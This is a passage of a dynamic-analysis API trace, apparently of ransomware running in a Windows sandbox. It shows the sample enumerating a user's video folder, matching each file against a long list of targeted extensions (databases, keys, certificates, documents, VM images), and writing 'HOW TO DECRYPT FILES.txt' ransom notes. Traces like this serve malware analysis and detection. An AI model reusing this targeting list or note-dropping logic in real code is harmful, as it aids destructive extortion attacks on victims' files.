vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.mkv") returned 0 [0091.734] lstrlenA (lpString="*.mkv") returned 5 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.eml") returned 0 [0091.734] lstrlenA (lpString="*.eml") returned 5 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.msg") returned 0 [0091.734] lstrlenA (lpString="*.msg") returned 5 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.edb") returned 0 [0091.734] lstrlenA (lpString="*.edb") returned 5 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.accdb") returned 0 [0091.734] lstrlenA (lpString="*.accdb") returned 7 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.odb") returned 0 [0091.734] lstrlenA (lpString="*.odb") returned 5 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.java") returned 0 [0091.734] lstrlenA (lpString="*.java") returned 6 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.asm") returned 0 [0091.734] lstrlenA (lpString="*.asm") returned 5 [0091.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.pfx") returned 0 [0091.735] lstrlenA (lpString="*.pfx") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.pem") returned 0 [0091.735] lstrlenA (lpString="*.pem") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.p12") returned 0 [0091.735] lstrlenA (lpString="*.p12") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.gpg") returned 0 [0091.735] lstrlenA (lpString="*.gpg") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.vsd") returned 0 [0091.735] lstrlenA (lpString="*.vsd") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.odg") returned 0 [0091.735] lstrlenA (lpString="*.odg") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.raw") returned 0 [0091.735] lstrlenA (lpString="*.raw") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.nef") returned 0 [0091.735] lstrlenA (lpString="*.nef") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.svg") returned 0 [0091.735] lstrlenA (lpString="*.svg") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.psd") returned 0 [0091.735] lstrlenA (lpString="*.psd") returned 5 [0091.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.vmx") returned 0 [0091.736] lstrlenA (lpString="*.vmx") returned 5 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.vmdk") returned 0 [0091.736] lstrlenA (lpString="*.vmdk") returned 6 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.vdi") returned 0 [0091.736] lstrlenA (lpString="*.vdi") returned 5 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.lay6") returned 0 [0091.736] lstrlenA (lpString="*.lay6") returned 6 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.mpeg") returned 0 [0091.736] lstrlenA (lpString="*.mpeg") returned 6 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.djvu") returned 0 [0091.736] lstrlenA (lpString="*.djvu") returned 6 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.tiff") returned 0 [0091.736] lstrlenA (lpString="*.tiff") returned 6 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.backup") returned 0 [0091.736] lstrlenA (lpString="*.backup") returned 8 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.pdf") returned 0 [0091.736] lstrlenA (lpString="*.pdf") returned 5 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.cert") returned 0 [0091.736] lstrlenA (lpString="*.cert") returned 6 [0091.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.docm") returned 0 [0091.737] lstrlenA (lpString="*.docm") returned 6 [0091.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.xlsm") returned 0 [0091.737] lstrlenA (lpString="*.xlsm") returned 6 [0091.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.dwg") returned 0 [0091.737] lstrlenA (lpString="*.dwg") returned 5 [0091.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.nd") returned 0 [0091.737] lstrlenA (lpString="*.nd") returned 4 [0091.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.tlg") returned 0 [0091.737] lstrlenA (lpString="*.tlg") returned 5 [0091.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.lgb") returned 0 [0091.737] lstrlenA (lpString="*.lgb") returned 5 [0091.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.mov") returned 0 [0091.737] lstrlenA (lpString="*.mov") returned 5 [0091.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.xdw") returned 0 [0091.814] lstrlenA (lpString="*.xdw") returned 5 [0091.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.ods") returned 0 [0091.814] lstrlenA (lpString="*.ods") returned 5 [0091.814] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.wav") returned 0 [0091.814] lstrlenA (lpString="*.wav") returned 5 [0091.897] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.mp3") returned 0 [0091.897] lstrlenA (lpString="*.mp3") returned 5 [0091.897] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.aiff") returned 0 [0091.897] lstrlenA (lpString="*.aiff") returned 6 [0091.897] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.flac") returned 0 [0091.897] lstrlenA (lpString="*.flac") returned 6 [0091.897] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.m4a") returned 0 [0091.897] lstrlenA (lpString="*.m4a") returned 5 [0091.897] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi", pszSpec="*.csv") returned 0 [0091.897] lstrlenA (lpString="*.csv") returned 5 [0091.897] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d54c0, ftCreationTime.dwHighDateTime=0x1d5e279, ftLastAccessTime.dwLowDateTime=0x2664eb90, ftLastAccessTime.dwHighDateTime=0x1d5e4fb, ftLastWriteTime.dwLowDateTime=0x2664eb90, ftLastWriteTime.dwHighDateTime=0x1d5e4fb, nFileSizeHigh=0x0, nFileSizeLow=0x95ef, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="eYzGVrn.mp4", cAlternateFileName="")) returned 1 [0091.897] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0091.897] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eYzGVrn.mp4") returned -1 [0091.897] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eYzGVrn.mp4") returned 1 [0091.897] lstrcmpiA (lpString1="", lpString2="eYzGVrn.mp4") returned -1 [0091.897] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\4bfycQmTs1IbqJuE.avi") returned="4bfycQmTs1IbqJuE.avi" [0091.897] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\" [0091.897] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\") returned="" [0091.898] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\HOW TO DECRYPT FILES.txt" [0091.898] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\d7bhqy6zuojf51iofgeu\\how to decrypt files.txt")) returned 0x20 [0091.898] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\", lpString2="eYzGVrn.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4" [0091.898] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.ems") returned 0 [0091.898] lstrlenA (lpString="*.ems") returned 5 [0091.898] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.db") returned 0 [0091.898] lstrlenA (lpString="*.db") returned 4 [0091.898] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.dbf") returned 0 [0091.898] lstrlenA (lpString="*.dbf") returned 5 [0091.898] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.myox") returned 0 [0091.898] lstrlenA (lpString="*.myox") returned 6 [0091.898] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.myo") returned 0 [0091.898] lstrlenA (lpString="*.myo") returned 5 [0091.898] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.qbw") returned 0 [0091.899] lstrlenA (lpString="*.qbw") returned 5 [0091.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.qbb") returned 0 [0091.899] lstrlenA (lpString="*.qbb") returned 5 [0091.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.qbm") returned 0 [0091.899] lstrlenA (lpString="*.qbm") returned 5 [0091.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.qbo") returned 0 [0091.899] lstrlenA (lpString="*.qbo") returned 5 [0091.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.qbx") returned 0 [0091.899] lstrlenA (lpString="*.qbx") returned 5 [0091.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.qba") returned 0 [0091.899] lstrlenA (lpString="*.qba") returned 5 [0091.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\D7bHqY6ZuOJF51iofGEU\\eYzGVrn.mp4", pszSpec="*.qby") returned 0 [0091.899] lstrlenA (lpString="*.qby") returned 5 [0091.899] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 